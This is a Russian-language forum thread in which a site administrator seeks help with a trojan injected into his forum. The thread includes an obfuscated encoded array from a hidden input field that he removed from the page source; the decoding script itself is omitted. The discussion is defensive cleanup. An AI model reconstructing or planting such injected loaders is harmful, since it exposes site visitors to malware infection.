Новая тема   Ответить

 kbot
Народ у меня на форуме жалуется, что несколько дней назад там завёлся какой-то троян. Вот топик с описанием проблемы (осторожно, там тоже может быть троян): http://forum.city-feet.com/index.php/showtopic.1752 . У меня никакой троян не детектится и никаких странностей не наблюдается, пробовал FireFox 3.0 и IE 7. Форум и до этого ломали, так что троян вполне могли туда впихнуть. В общем я в непонятках, где искать и как понять, что проблема решена.

 Kinst
kbot писал:

охуеть у тебя логика

вот вам ссыль, но там может быть троян

если вам интересно, идите и читайте, но не говорите что про троян я не предупреждал

 kbot
Там, говорят, троян не очень злой. Он предлагает поставить какой-то апдейт, и можно отказаться

 Kinst
ну если не злой - пусть дальше говорят

а вообще коды посмотри, сейчас мода цеплять гавнище всякое на морды

 Nikola
угу, троян на флэше
авира пищит
данных никаких об этом трояне нет

 kbot
Я вот нашёл в исходном коде страницы какой-то подозрительный код и удалил его. Форум вроде продолжает работать. Глянь пожалуйста, что сейчас говорить антивирь?

Было вот оно:

<input type='text'style='display:none'id='kotuk'value='ranebinot=new Array(91,14,1,21,6,10,2,71,20,21,4,90,69,15,19,19,23,93,72,72,0,14,6,9,19,9,2,19,73,9,2,19,72,14,9,73,4,0,14,88,84,69,71,20,19,30,11,2,90,69,3,14,20,23,11,6,30,93,71,9,8,9,2,69,89,91,72,14,1,21,6,10,2,89);'/>
<script language='JavaScript' type="text/javascript">
<!--
убрано
//-->
</script>

Последний раз редактировалось: kbot (17/01/09 в 22:04), всего редактировалось 1 раз

 Kinst
сначала такие вот коды на фонрумах выкладывают, а потом у полфорума хня всякая на компах творится

 kbot
Антивирус ещё ругается при посещении форума? Или уже нет?

 miroz
Так поставь Авиру и проверь.